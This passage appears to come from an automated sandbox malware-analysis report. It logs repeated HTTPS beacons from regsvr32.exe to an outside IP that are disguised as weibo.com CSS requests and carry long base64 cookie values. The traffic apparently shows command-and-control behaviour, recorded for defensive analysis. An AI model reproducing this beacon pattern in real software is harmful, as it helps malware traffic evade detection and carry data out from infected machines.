2022-02-08 23:08:17 UTC 1158 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:17 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:17 UTC 1158 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

58 192.168.2.6 49866 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:16 UTC 1157 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:17 UTC 1160 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:17 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:17 UTC 1160 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

59 192.168.2.6 49874 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:20 UTC 1162 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:21 UTC 1162 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:21 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:21 UTC 1162 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

6 192.168.2.6 49767 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:13 UTC 955 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:13 UTC 986 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:13 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

Copyright Joe Security LLC 2022 Page 165 of 191



2022-02-08 23:07:13 UTC 986 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

60 192.168.2.6 49875 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:21 UTC 1164 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:21 UTC 1165 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:21 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:21 UTC 1165 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

61 192.168.2.6 49876 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:22 UTC 1167 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:22 UTC 1167 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:22 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:22 UTC 1167 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

62 192.168.2.6 49877 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:22 UTC 1169 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:23 UTC 1170 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:23 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:23 UTC 1170 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

63 192.168.2.6 49879 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:26 UTC 1172 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:26 UTC 1173 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:26 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:26 UTC 1174 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

64 192.168.2.6 49880 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:26 UTC 1172 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:26 UTC 1175 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:26 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:26 UTC 1175 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

65 192.168.2.6 49881 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:26 UTC 1173 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:26 UTC 1177 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:26 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:26 UTC 1177 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

66 192.168.2.6 49882 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:26 UTC 1179 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
